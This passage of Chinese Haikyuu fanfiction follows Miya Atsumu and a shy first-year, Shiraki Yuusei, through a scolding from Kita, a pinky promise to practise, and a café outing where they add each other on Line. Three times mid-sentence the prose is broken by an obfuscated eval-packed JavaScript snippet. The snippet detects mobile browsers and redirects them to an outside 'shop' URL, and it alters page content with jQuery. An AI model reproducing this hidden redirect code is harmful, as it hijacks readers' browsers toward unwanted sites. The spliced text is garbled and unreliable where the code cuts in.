宫侑当即开口,虽然面对北信介、他也有点发怵,不过此刻心底对后辈的回护占了上风,他强撑着道,
“有什么事情都冲着我来吧!”
“都是我的主意,不要怪这个笨蛋了!!”
北信介沉默。
白木优生一惊,虽然不明白宫侑为什么突然开口,但条件反射就要为他解释,
“啊,不、不是的,是我自己…”
宫侑义正言辞,“不!是我的问题!!”
白木优生努力辩解,“不、不是前辈的问题,是我自己要这么做的!”
“是我!!”
“不、那个…是我……!”
“……”
“他们,这是在干什么?”
旁侧,路过的大耳练戳了戳还沉浸在‘话多的老头’攻击的尾白阿兰,不解问道。
尾白默默抽离,瞥了眼,
“不知道,可能在斗嘴吧,他两感情好。”
大耳练若有所思,再次发问,
“可是,他们感情什么时候好到可以斗嘴了?”
“哦,那个啊,”尾白有气无力,随手丢下一个炸弹,
“毕竟他两早上还睡一块,这感情能不好吗。”
“哦,这样。”
大耳练随口道,继续看。
半晌、兀地察觉哪里不对,
等、等等……
什么东西??
17. 第十七章
阿兰一语道破天机,他是爽了。
但排球部不明真相的其他人大为震惊,很快、在口耳相传中,这话删删改改、添添补补。
等再传回当事人耳中时,已经演变为“听说了没!阿侑和白木他们两个感情好到非对方不可了!”
当事人其一缓缓敲出一个问号。
——啊?
好不容易从气场威严、气势磅礴的北前辈手中解救出不省心的兔子后辈,宫侑还没待好好喘口气,就要直面谣言四起的混乱球馆。
不是、一个没看着,就突然传成这样了??
“那、那个,是我给前辈造成…困扰了吗?”
被解救的兔子后辈小声询问,视线颤颤巍巍望过来,一眨不眨地乖乖盯着。
看起来像只灰毛垂耳兔。
金毛狐狸默默比对,当即言辞确凿,“怎么可能!你想多了!”
“这、这样啊…”
他表现的乖顺温和,但宫侑才不会被他表面模样哄骗过去。
刚刚——明明就在北前辈的面前和他争执地那么大声,执拗不放、非要说是自己的问题。
他都已经大包大揽好帮这家伙解围,只要顺着他的话说就能成功脱离困境不用被训斥。
结果这么一搞,双方僵持不下。
急匆匆过来救人的宫侑把自己搭了进去,白木优生虽不解但还是不想让关心的前辈背锅、条件反射就去揽锅。
争着争着,无声注视他们的北信介开口,
“所以,你们在争什么?”
宫侑:“当然是——北前辈你不要再训斥这家伙了,不管是加训还是留馆还是幽灵什么的都是我一手造成的!有问题就朝我来吧!!”
他话说得又急又快又密,生怕又被面前这家伙抢先。
白木优生一愣,当即就要再开口辩驳。
北信介视线微动,停在宫侑脸上,制止住要再开口的白木优生,他平静道,
“这样吗。”
“没错!”宫侑深吸一口气,深感自己为这个让人操心的后辈付出了太多,等待会儿结束后一定要好好质问这家伙怎么那么笨、居然连眼色也看不明白。
念头才出,他又转念一想,这家伙看不懂眼色说不定才是对的。
要是能看懂的话也不会落到这个地步、还需要他来救了。
深感自己宛如一个从恶龙……嗯、这么想的时候宫侑小心瞥了眼面无表情的北。
宛如一个从恶龙(夸张)手中救出可怜后辈君的热心肠正义使者,这种程度的话绝对要三、不,四枚特级布丁才能勉强算过!
宫侑心底深深被自己感动了。
如果给他一块手帕,绝对会当场热泪滚滚的程度。
但下一秒,北开口了。
“我知道了。”
北信介看着他,陈述道,“阿侑,我没有训斥白木。”
啊?
头皮一紧,勇者宫侑直觉缓缓意识到什么,勉强维持镇定。
“诶…这、这样吗……”
北说完,“而且,白木已经将全部都告诉了我。”
宫侑:“……”
等、等等…也就是说……
“虽然维护后辈的这份心情值得夸奖,”北静静盯着他,
“但是,说谎并不是一个好习惯。”
“是吧,阿侑。”
“……”
宫侑INEND.
对着狐狸队长撒谎的后果就是被惩罚在角落面壁。
经常因为和宫治在排球馆大打出手而被罚面壁,这事宫侑做了太多次,早就习惯。
此刻一副老老实实的模样蹲在那,全然是一副受挫过度的模样。
宫侑心里其实没什么想法,他本来就是插一脚去捞人的,人没事、也成功脱身,更不是什么实际性惩罚,堪称两全其美,就是得在角落蹲会儿。
但身旁寸步不离、步步紧跟的家伙似乎并不这么想。
宫侑余光瞥过他,轻哼一声,“喂,我只是顺便才过去……没有其他意思,你不要想太多啊。”
一起面壁的白木优生默默点了点头。
宫侑状似不在意,随意开口,“那刚刚北前辈和你说了什么,怎么突然就不说话了。”
白木优生盯着墙壁,轻声道,“是……前辈给我托球的事情。”
“哈——?!”宫侑声音骤然大了起来,但他旋即想到会吓到旁边胆小的人,自己降低了音量,
“那、那前辈有说什么吗。”
宫侑心里嘀咕。
只是托球而已,应该也没什么吧。
这家伙都那么努力想让他传球了,要是北前辈多说了什么否定的话绝对会失落的。
果然,身边的兔子后辈开口,“嗯…北前辈说,今天早点回去,晚上的加训……禁止。”
最后两个字带着点沉重的气息被吐出。
肉眼可见,白木优生蔫耷耷的,连平素都会机警竖起打探周遭环境的耳朵也垂下。
看起来——更像垂耳兔了!
宫侑默默攥拳。
可恶、总是在撒娇什么的,根本就是个坏习惯啊!
他默默双手插兜,装作不在意道,“既然北前辈说禁止,那就没有办法……”
余光顺势瞥过。
宫侑当即僵硬。
白木优生攥紧手掌,眼见着就要开启伤心模式。
不是,现在撤回上一句还来得及吗?!
宫侑当即慌张出声,试图补救道,“额呃!那个——可能北前辈说是那么说了,但是肯定还是有办法的!对吧!”
蛋花眼望过来的人闷闷应声,“真…真的吗。”
虽然应声了,但完全没有放松下来的感觉啊!!
宫侑内心抱头哀嚎。
“真的真的,绝对是真的!”
他是被这个一年级折腾怕了,从来都是在稻荷崎作天作地、毫无对手的金毛狐狸甫一遇上只克制他的对象,简直拿他是束手无策。
“这样,”宫侑默默余光望着他,“北前辈只说了今天不能加训,那明天总可以了吧?”
白木优生期期艾艾,“明天……北前辈也禁止了。”
宫侑:“……”
不是、明明都是前辈,为什么就这么听北前辈的话啊!!
他深吸一口气,缓缓道,“……那后天。”
“后天……排球部休息,前辈忘记了吗?”白木优生小心翼翼道。
虽然即使是休息,他也很愿意继续训练什么的。
但是休息日,球馆维修,相当于不对他们开放,所以基本从根源上杜绝了这一选项。
而且……
“那就休息天!”宫侑当机立断。
“欸、欸!?”
这下子,情绪起伏波动大的变成了白木优生。
他迟疑,“可是、休息日的话……前辈有自己的事情要做的吧…?”
宫侑眯起眼,抱臂精准打击,“那有什么,难道你又有其他什么更、加、重、要的事要去做吗?!”
他咬字生硬,情绪拉满。
拜托、他可是愿意从自己的繁忙日程中腾出那么一点不那么繁忙的时间来陪这家伙进行练习。
再怎么看都是他更吃亏吧,毕竟他可是真的——真的很忙的!!
白木优生当即解释,“没、没有的!”
宫侑哼了声。
兔子后辈看着他的表情,小心翼翼道,“但是这样、前辈会辛苦的吧…好不容易的休息日、要浪费在我身上,怎么想都会很……”
“禁止
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13897742|147104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自我诋毁——!”
宫侑比了个禁止的手势,没好气道,
“什么‘浪费在你这样的家伙身上’,一直这么说的话,那么答应给你托球的我不就更加是个笨蛋了吗?”
白木优生慌乱,“我绝对没有这样的意思——!”
“那就更加不要抱怨自己!”
宫侑单手支着腰瞥了眼他,“就是后天,休息日,还有问题吗?”
白木优生自然全都依他,乖乖点头,“没有的。”
倒不如说,他根本不会有任何问题。
只要宫侑愿意,他怎么样都会答应的。
托球啊——
白木优生心底不免生出一点小小的期冀。
因为需要等待时间,所以在等待前的每一分每一秒都充满意义。
糟糕、他好像从现在开始就期待起来了。
宫侑默默盯着他看了半晌,突然出声,
“喂,”
“在、在的,前辈?”
装酷的金毛狐狸甩了甩蓬松柔软的大尾巴,别别扭扭撇过头,
“那什、什么,你……不拉钩?”
白木优生翡绿眼瞳缓缓睁大。
拉钩钩,
多出现在关系亲密的朋友之间,一种心有灵犀的约定形式。
不具备法律效力,但手指印上的瞬间,情感就由此连接。
白木优生忐忑,“我…我可以吗?”
“哈?”金毛狐狸恶声恶气,“你什么可不可以?不就是拉个钩吗!觉得幼稚的话就算了,我就知道你这家伙——”
他咕叽咕叽的话还没说完,声音就不上不下卡在那儿。
早在他第一句刻意恶声恶气的反问出口的瞬间,一直像抹影子般隐在角落里亦步亦趋的人终于动了下、走了出来。
他试探地靠近、随时观察着宫侑的表情,像从洞穴钻出来的兔子,观测四周。
模仿着印象中看见过的,其他孩子们的模样,白木优生犹豫着是伸左手还是右手。
生涩、陌生、踟蹰。
就这样,他听见面前传来一声满是忍耐的叹气声,
“我说你啊——是笨蛋吗,怎么连拉钩也不会啊?!”
宫侑如此抱怨着他,白木优生耳后缓缓漫上一点红。
“抱、抱歉……”他结结巴巴。
他的确没有……和人拉钩钩过。
这还是第一次,会有谁向他提出来。
“都说了——是这样、这样!”
宫侑一边说着、一边直接伸手勾着兔子后辈的左手尾指。
他知道这家伙是左撇子,用左手更习惯。
尾指相交、纠缠在一块,体温也随之接触,亲密和缓的。
宫侑视线微垂,心底哼了一声。
他才不会说什么‘拉钩钩、做约定,说谎的话吞下一千枚针’,勉强就这么应付一下算了。
颀长指节蜷起,将尾指紧紧缠绕,狐狸蓬松的尾巴柔软干燥、落在指尖上也是相同的触感。
白木优生轻轻眨了下眼。
“后天的休息日,你可一定要来见我啊!”宫侑重重摁了下大拇指,最后盖章强调。
“嗯、嗯!”
“不准爽约,不然的话,我就——”
“不会的。”
白木优生浅浅笑了下,罕少这么直接开口,轻声接着他的话继续道,
“……和前辈拉过钩,违背的话要吞千根针,对吧?”
宫侑顿了一拍,旋即收回视线,不满地嘀嘀咕咕。
真是的、明明都没有让他说出来怎么就要吞千根针…
就只有在这种时候才会这么敏锐,这么一想更让人生气了!
——这家伙,完全就是个绝对让人不省心的笨蛋后辈!!
18. 第十八章
稻荷崎排球部的休息日是每周的最后一天,周末。
校内的一馆二馆关门,不对学生开放。
正常来说、大家都会好好运用这来之不易的休息时间,住校的回家,走读的放松,除了个别家伙,基本都不见踪影。
嗯……除了个别的几个家伙。
手机闹钟在早上七点半准时响起,白木优生已经提前清醒,在换衣服。
他伸手拿起手机,关闭了闹钟。
亮屏的手机页面上显示的是稻荷崎排球部部员的内部聊天群组。
最后一条讯息截止在昨晚十一点四十七分,发信人是[金光闪闪の世界第一二传]。
白木优生轻轻戳了下发信人头像,下一刻、页面跳转,当即显示出未添加好友的个人主页。
他当即手忙脚乱退回,生怕点到哪里不该点的。
虽然没有添加上Line的好友,但是他知道,这个账户就是宫侑前辈。
排球部部内成员关系亲近些的似乎都添加了彼此的Line,成为好友。
白木优生也被同期的一年级和熟悉的二队成员要了Line账户,甚至主力队的一些前辈也通过稻荷崎的聊天群组添加了他的好友并友善地打了招呼。
但是,宫侑没有。
白木优生望着布丁头像的‘世界第一二传’,手指游移,定定看了半晌,还是收回。
没征求到前辈的同意就主动上前添加好友什么的……似乎有点冒昧。
以宫侑前辈的性格,感觉……绝对会说出‘我才不会这么轻易和你这家伙加上好友呢’这样的话。
他叹了口气,放下手机。
……还是等前辈什么时候心情好一点了再试探着问问能不能和他添加好友吧。
放在那的手机突然“嘀嘀嘀嘀”响起刺耳闹钟。
睡在下铺的人不耐翻身,几乎要习以为常地拉高被子盖住头脸。
手机一直响,紧绷的神经终于断裂,怨气满满的宫治缓缓拉下被子,欲要死亡凝视上铺的那个猪——
等等……人呢?
卧室的门突然推开,洗漱完蓬松着头发的人皱眉走进来,抬头就见裹着被子下床的灰毛狐狸正鬼鬼祟祟对着他的手机要做些什么。
“——阿治!你要干什么!不准动我的手机!!”
一番鸡飞狗跳,宫治简略陈述自己只是想去关闹钟,并沉默注视面前金毛狐狸宝贝般一把抢回手机察看,翻了半天、掩饰不住情绪恨恨放下,又不知道在那跟谁生气。
宫治看得无聊,打了个哈欠。
他瞥了眼时间,“你不是和一年级的约好了吗,怎么还不走?”
宫侑:“急什么急!!”
宫治:“……”
他默默扫了眼从头到脚井井有条,头发都一大早洗了吹干、打理得蓬松无比,甚至现在套着的那件外套还是他前几天新买、还没上过身的……
“把我衣服还我。”宫治冷酷。
宫侑盯着手机,敷衍应付道,“别那么小气,借我穿穿,回来给你。”
宫治被他噎住,又发现了个疑点,手机显示的页面一直停留在某个十分眼熟的个人主页上。
不过,怎么看起来是陌生人状态下的页面。
宫治摸到点什么,“喂、你又在等什么?”
“哈——?”宫侑表情夸张,“我才没有在等那个家伙的短讯呢!”
宫治又想叹气了。
好笨啊,这不是已经自己说出来了吗。
“你直接发讯息过去问不就好了吗。”宫治掏出自己的手机,在好友列表里搜了下,成功定位到[白木优生]。
状态显示在线,发讯息应该当即就能回。
他等了半晌,旁边没声。
宫治疑惑,侧脸看去。
陌生人页面。
懂了。
“你们没加Line好友啊。”宫治陈述。
被踩中尾巴,宫侑原地炸毛,“我才不会主动去和那家伙加好友呢!!既然是后辈就该有后辈的自觉啊!多少也该主动去添加要麻烦的前辈吧!!”
‘不、怎么看那个一年级都不是什么主动的性格吧。’宫治咽下到嘴边的话,看了看显示在线的[白木优生]。
好麻烦。
还是快点支开这家伙出去,他还要补觉。
“那我叫他加你。”
“——等等!?”
宫治编辑短讯的动作被宫侑一把拦住,他抬头、正对上金毛狐狸不可置信的面孔。
“你居然有他的Line??!”
宫治沉默。
关注点,是不是有哪里歪了。
他的沉默助长了宫侑的愤怒。
“可恶、居然连你都加了,怎么不加我!!太可恶了!这是什么请求和拜托前辈的态度吗!?”
宫治:“那个、添加好友的话,是我先发……”
“——我不听!!”
宫治:“。”
好难搞。
他调转话题,提醒道,“你还不出发吗。”
宫侑抱臂、抵触的姿势,“我不——!!我才不要上赶着嘞,搞得着急的是我一样,对付这种后辈,我才绝对不会心软……”
宫治耳朵已经听出老茧了。
他一键屏蔽,而后默默望了眼时间,平静道,“公交还有五分钟就开。”
“我一定要冷漠对待……”喋喋不休的宫侑一卡,肉眼可见的慌乱,
“——不、不是,你说什么?!”
宫治数秒,“……还有四分钟。”
宫侑猛地跳起,哀嚎道,“呃啊啊啊阿治你怎么不早说啊啊啊!!”
宫治目送。
金毛狐狸一路火花带闪电堪称狂奔出门。
好吧,提醒了又不听。
现在过来怨他,
神金。
……
与宫侑约定早上九点半在稻荷崎门口碰面。
白木优生卡点九点到,坐了提前一班的公交。
因为是休息日,校内没有什么人,和门口的门卫爷爷打了招呼,他就找了个一眼就能望见的地方,静静等着。
不可否认、到来的时候发现门口没有熟悉的身影的时候,他的心脏缓缓安定下来。
还好……没有迟到。
这样的话,只要安心地等宫侑前辈到就好。
白木优生划动手机,大概搜索了下附近的可以在周末使用的球馆。
一一扫过,他想了想,准备等宫侑到达后再听从他的意愿进行选择。
时针向前拨动了半格,分针走到了下半。
白木优生稍微动了下,维持一个固定姿势一直站在那里对他来说有些疲倦,不过与此对应的是心理上的期待。
从约定好的那一刻起,他就开始期待。
而当时间真正来临到时,这一情感也就成功到达顶峰。
他抬起头,带着宛如揭开蛋糕最后一层包装纸时的期盼。
——就算前辈没有到也没关系,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13897743|147104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他可以继续等待、继续期待!
——但注定有人不想让他失落。
一抹急速靠近的金色亮点就这么倏然冲入眼底。
由远及近、在眼瞳中也愈来愈清晰。
身影、面庞、一切的一切都沾染上色彩、一点一点浸入完整的世界。
“一——一分钟!!”
到达人面前,努力装作毫不费力的模样、但实则还是被身体本能出卖的狐狸前辈气喘吁吁,单手撑着腿道,
“呃呃呃迟到了一分钟!!”
宫侑慌张抬头问道,“你是不是等了很久啊?!”
“没、没有的!”
白木优生受惊支吾了下,旋即认真道,“我也是刚刚才…对,三分钟前才到!”
“嗬……那就好。”
长长地叹出口气,下一秒,他突然意识到什么、迅速喘匀气息。
把歪掉的球包重又背好,整理好面上表情,趁着身边人不注意、咳了一声。
而后站直、单手插兜,单手插入发根撸了个背头、就这么凹着姿势很酷地瞥了眼手机时间。
“说吧,接下来你想去哪?”
白木优生闻言,十分庆幸自己提前做了选项调查。
——现在就正好可以拿出来让前辈选择!
他拿出手机,点开收藏的几家的球馆,认真道,“球馆的选择的话都在这里,前辈可以看一下,都是可以去的……”
担心自己做得准备不完全,他又迅速补充,“当然、如果前辈不喜欢这些,我可以都听前辈的!”
入目一片花花绿绿的球馆实景图,被晃了个眼花的宫侑以手摁额头,无奈开口,
“不对不对,我说的不是这个——!”
“欸、欸?”
白木优生愣住,有些不解,“是、是我哪里有什么……”
“——停!”
宫侑对这家伙一有问题就往自己身上揽的毛病深感麻烦,他认命,应付着选了个看得过去的,“就这个!”
“好的!”白木优生转头就开开心心应声。
望着身旁莫名就开心起来的兔子后辈,宫侑深感无力。
什么啊,就因为这点小事就开心,明明——明明还有更加、更应该值得去看的东西吧!
“喂,”宫侑突然出声。
白木优生提交了预定手续,心底总算安心些,闻声乖乖侧脸望去,
“怎么了吗,前辈?”
——果然是没发现啊!!
宫侑哼了声,硬是挤出话来,“难道——你没有发现有什么‘特别’的吗?”
他在某两个字眼上强调,几乎就是明晃晃地等着被夸了。
白木优生顿了下,细细咀嚼着宫侑的话语。
‘特别’的……吗?
他认认真真、视线一点一点扫过面前正凹着造型,就差将‘快看我!快看我!’写在脸上的人。
反应了下,白木优生逐渐恍然,表情明朗。
宫侑期待,拉近距离。
“‘特别’的是指……前辈今天特别的、”他卡了下,在宫侑骤然亮起的眼神中感知到自己应该是摸对了方向,白木优生一鼓作气,
“前辈今天特别地穿了件治前辈的衣服吗?!”
宫侑:“?”
等等、注意点应该是这个吗??
不是、怎么认出来他穿的是治的衣服的啊?!
——还有!
凭什么那家伙就是治前辈,他就是连名带姓啊!!
19. 第十九章
回答错误的笨蛋后辈得到了来自暴躁前辈的炸毛指责,以及一份新鲜出炉的抹茶年轮卷。
白木优生盯着,头顶冒出疑惑的气泡。
嗯……没记错的话,他应该只点了草莓芭菲才对。
所以,这个是……?
“无论怎么看,是兔子的话就应该吃草啊!”对面坐着的狐狸前辈碎碎念着,而后任性地将一碟抹茶年轮卷推到他面前。
顺便很小心机地比起芭菲更加推近那么一厘米。
白木优生缓缓解析,半晌、恍然大悟,成功搭上宫侑的脑回路,理解了‘抹茶=草’的公式。
虽然这个问题是解决了,但是、他还是有另外一个问题。
他们现在不是应该…去排球馆吗?
所以,出现在甜品店的目的是…?
“哈——?!”
声音听起来很像生气,尤其是拖长的语调与惯性加重的鼻音,激得某大脑出神的兔子后辈立即回神,紧紧闭嘴,全然如只米菲兔般丝毫不敢言,就差在脸上贴上个大大的“×”号。
宫侑轻哼一声,咬着吸管嘀嘀咕咕道,“稍微吃点东西再去不行吗?我可是起来得很早的诶!”
白木优生闻言,十分愧疚。
前辈愿意空出宝贵的休息时间、答应约在周末给他托球,还起了很早,本来就很辛苦。
他再这么强求着人一定要从最开始就要前去球馆,未免有些太说不过去。
是他想法不周了。
白木优生深感不安,小小声抱歉。
宫侑哼了一声,面上是一派大度不和他计较。
实则自己心里正纠结得要死,蓬松柔软的狐狸尾巴此刻在桌子底下焦躁地晃来晃去。
他还在生气刚刚的‘治前辈’。
耿耿于怀、纠结良久。
可恶……到底是凭什么啊!!
阿治那家伙就是‘治前辈’,他就是客客气气生生分分的‘宫侑前辈’,他们两个难道有那么熟吗!?
甚至阿治那家伙都添加了Line、而自己却没有,宫侑简直越想越生气。
完全就该——把那只在家睡得四仰八叉的猪拽出来给这个笨蛋托球!
面前那碟乳酪蛋糕几乎要被气愤的人戳得千疮百孔,说是死法凄惨无比也不为过。
白木优生战战兢兢,余光小心翼翼注视那块已看不出原来模样的蛋糕,
“喂!”
对面的人突然出声,没好气道,“——你和阿治难道很熟吗?”
白木优生愣了下,稍微思考了下,“治前辈的话……应该和前辈们都是一样的。”
他不太确定,说的时候想起面前的宫侑正是宫治的亲属,
稍微说得好一些应该会让前辈开心一点吧?
毕竟是关系亲密的兄弟什么的……
揣着这种想法,白木优生毫无自知地向着错误的道路踏出一步,
他认真思考后道,“不过、之前有受到过治前辈很多照顾,所以我很尊敬前辈……这样。”
宫侑咬紧吸管,深呼吸。
敷衍——!
绝对是敷衍!!
尊敬的话直接就叫‘宫治前辈’就好,叫什么亲亲密密的‘治前辈’啊!
丝毫不察自己小学鸡心态的宫侑心底当即下达定义。
他撇嘴,努力装作不在意,余光瞥过自己正穿着的外套,哼了声,又开始发难,
“——就算这么说了,但你怎么知道这是阿治那家伙的衣服!?”
他心底嘀嘀咕咕,
这件外套是宫治最近才买的,还没上身穿出去过,他特地从宫治那儿“借”来穿了。
怎么看这么直接地就认出来都很奇怪吧!
宫侑越想越品出点不对劲。
——难道!
这两个家伙已经关系好到可以分享给对方生活日常细节乃至到衣柜了吗?!
肉眼可见的、宫侑危机感十足。
虽然他自己现在难以理清这微妙情感的来源,当下全都笼统归结为是宫治的错。
白木优生闻言放下吸管,他犹豫了下,还是乖乖道,“因为……之前有在治前辈的账户动态里看见过…所以,感觉到有些眼熟。”
宫侑一卡。
白木优生担心他不信,操作着划开手机,点到宫治的账户动态。
小心地将手机反过来,慢慢推到宫侑的方向。
“就是这个……最近的一条。”
宫侑低头,手机屏幕映入眼瞳。
入眼的就是被备注为[宫治前辈]的眼熟头像的动态。
如白木所说,最顶上的那条就是宫治拍了的外套照片,并配文‘终于可以不用和那个笨蛋撞衫了。’
宫侑很清楚,他的好友动态中没有刷到过这条,不需思考就能断定。
他绝对被宫治屏蔽不可见了。
——那头猪!
视线一转,微妙地,他又注意到某个小细节。
嗯……[宫治前辈]啊。
微妙的,情绪微微好转了那么一点。
掩饰性开口,宫侑单手支着脸撇过视线,“这样啊——那就不奇怪了。”
既然不是什么私下里有联络的关系,也不是不行之类……
白木优生一直注意着宫侑的表情与其一举一动,见他紧缩眉头放松些许才稍稍放宽些心。
还好、还好……总感觉前辈刚刚就要生气了。
现在似乎好转了许多,太好了。
他就要收回手机,但余光微动,又望见狐狸前辈面色如盛夏天气,时晴时阴,一会儿没注意又变得不好看。
是……怎么了吗?
白木优生不解,但还是耐心等待。
半晌,沉不住气的人率先出口,望着面前一副疑惑不解模样的灰发少年,宫侑目光微侧,强撑气势,
“你……什么时候和治那家伙添加了Line,我怎么不知道?”
灰发少年轻轻眨了下眼。
一板一眼乖乖答道,“是之前部内的前辈们拉进群组的时候,因为治前辈发送了邀请,所以通过添加了。”
‘哼,料他想来也肯定是这样。’
宫侑抱臂、与餐桌拉开点距离,手指支着下颌,故作高深望着。
所以这两个家伙关系也不怎么样嘛,添加好友都不是人家主动的。
宫侑终于将心放回肚子,连带着看面前那块被他戳烂的乳酪蛋糕都无比顺眼。
白木优生看了看手机,又小心地看了看坐在对面的人,他犹豫了下,欲言又止。
他表情变化少,一有变动就相当于明晃晃地写在脸上,所以宫侑哪怕只是余光,都能精准捕捉到。
心情因莫名原因好转不少,宫侑咳了声,摆出一副宽容大度的好好前辈模样,
“说吧,想做什么,一直望过来望过去的,不知道的还以为我怎么你了呢。”
白木优生被戳中心事,颤了下。
恂恂望了眼宫侑的表情,确认他现在正处于好心情状态。
这样的话,这个时候,提起‘那个’…说不定会没问题?
手指点在手机屏幕,灰发少年眼睫微垂,抿了下唇,一鼓作气,
“那、那个……Line的好友我没有添加,所以,就是、请问前辈会介意我冒昧添加…呃、那个好友吗,添加的话……如果前辈在意,那么保持现状就很好!!”
白木优生尾劲不足,说到最后把自己说得愈发慌乱,勉勉强强下只得这么囫囵说完,生怕对面做着的人生出什么反感情绪,自己率先退了一步留出足够的退让空间。
说、说出来了。
白木优生甚至不敢抬头。
与面前餐碟上软乎乎的抹茶年轮卷大眼对小眼。
“——你这是…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13897744|147104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…主动要和我添加Line?”
尾音上扬的反问传到耳畔,白木优生神经紧绷点了下头。
虽然不知道为什么前辈似乎在个别字眼上加重了音节,但是的确说得是对的。
他总不能失礼地让前辈来主动添加他,所以认真地提出并征询意见就是绝对必要的选项。
“……”
宫侑没说话。
白木优生低着头,自然也没有看见他的表情。
金发的人单手支着侧脸,唇角扬起点弧度,他心情不消多说,光是看一眼都能感到他此刻必然是高兴的。
狐狸耳朵掩藏不住,高高翘起,连带着鼻子都要翘上天。
“哼……既然你都这么说了,那么不添加看起来似乎是不行了。”
金色的一点眼瞳眯起,宫侑慢悠悠道。
白木优生眼睛微微亮起光,抬起脸,正对上眯起的狐狸眼。
“那就添加吧,毕竟我可是个很与人为善的好前辈啊~”宫侑随意般支着脸颊,报出自己的号码。
白木优生在心底认真点头,他赞同、并输入号码成功找出眼熟的头像页面。
虽然只要通过共同群聊发起添加就好,不必特地通过搜索寻找、再去添加。
但当下,两人谁都没有提起那一点。
白木优生老老实实输入添加申请,手指移到备注名上,正欲要输入,开头一个‘宫’字才输入一半,对面的人眼尖叫停。
“等等等等等——!”
白木优生不解,但还是乖乖听话停下动作,抬头去看。
不知何时、宫侑已经从抱臂离开餐桌的姿势改为手肘撑在桌面上靠近他的姿势。
宫侑撇了撇嘴,“我不要和阿治那家伙备注一样,换一个!”
白木优生闻言,看着备注栏,又看了看宫侑。
他小心翼翼道,“前辈是想……”
——完全就是个笨蛋啊。
居然到了这个程度还不明白。
宫侑深感面前这家伙一点都不是个让人放心的后辈。
但与他对视,翡绿色的眼底浅浅映出他的面颊与身影,是真切的不解与求知。
什么啊——
明明稍微自己想一想都能得到答案吧,结果偏偏就要通过这种撒娇的方式,他可不是总是吃这么一套的!
宫侑状似不经意用吸管拨了下草莓芭菲,含混开口,“我看那什么——那什么前辈就挺好,就你刚刚叫的那个……”
白木优生福至心灵,“是……侑前辈?”
金毛狐狸肉眼可见变成了只狐狸球,蓬松松且软乎乎,心情无比愉悦。
“咳、就这个吧,虽然勉勉强强,但也不是不行……”
“好的!”
宫侑余光瞥了瞥他,咳了声道,“刚刚没听清,就你再叫一遍,就那个、那个……”
“…侑前辈?”
白木优生不解,但还是听话照做。
望着莫名侧过脸去以手支脸的人,他些微疑惑,稍微凑近一些距离,小心翼翼,“是怎么了吗?”
“——侑前辈?”
声音轻且柔缓,低和的、也是浅淡的,像涓涓细流,缓缓淌来。
耳尖漫上一点红,宫侑撇着头望向窗外。
窗外车水马龙、人潮汹涌,此刻莫名喧腾,更是躁如擂鼓。
可恶、听见了听见了……还要叫多少次啊,真是的!
总是这么动不动就撒娇……
难道以为用一句‘侑前辈’就能拿捏住他吗!
完全——不可能的!
“侑前辈……”
“干啥?”
“你的耳朵……突然变得好红啊。”
“……”
“是、热、的!”
啊,这样吗。
灰发少年若有所思。
还以为……前辈是害羞了呢?